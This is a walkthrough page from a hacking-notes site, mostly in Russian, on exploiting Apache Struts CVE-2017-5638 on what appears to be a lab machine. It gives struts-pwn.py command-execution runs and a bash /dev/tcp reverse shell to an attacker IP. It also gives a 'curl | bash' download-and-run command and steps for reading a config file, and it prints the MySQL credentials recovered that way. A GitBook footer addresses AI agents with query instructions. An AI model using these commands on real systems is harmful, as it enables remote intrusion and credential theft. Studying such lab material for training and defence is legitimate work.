> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/apache-struts-exploitation-.action.md).

# Apache Struts

## Эксплуатация Apache Struts (CVE-2017-5638)

#### **Мониторинг перечисления каталогов**

Во время регистрации приложение возвращает ошибку. The `.action` расширение указывает на приложение Apache Struts.

<figure><img src="/files/c8017efe03be58468d5340d7a8ad62fca37dea74" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Используйте `struts-pwn.py` для проверки удалённого выполнения команд:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

Команда работает, подтверждая уязвимость.

<figure><img src="/files/a6d6da2d6c57e1816a78f40a6bf5538556db9141" alt=""><figcaption></figcaption></figure>

#### **Обратная оболочка**

1. Настройте прослушиватель Netcat:

```bash
nc -nvlp 443
```

2. Создайте `index.html` файл, содержащий обратную оболочку:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Разместите файл на веб-сервере Python:

```
python3 -m http.server 8080
```

4. Выполните обратную оболочку через эксплойт:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

К сожалению, этот подход не срабатывает.

### **Извлечение конфиденциальной информации**

Выведите список файлов на сервере:

<figure><img src="/files/913907338bec57b61d2ab6c637ba76605d3df80e" alt=""><figcaption></figcaption></figure>

У `db_connect` файл содержит учетные данные:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/d222da43af734734ce49a38e42b42df7cba75173" alt=""><figcaption></figcaption></figure>

Восстановленные учетные данные MySQL:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="/files/8d33039edc3a9b5d1d316382cc0687755d64be5e" alt=""><figcaption></figcaption></figure>

### Извлечение информации - mysqlshow


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/apache-struts-exploitation-.action.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
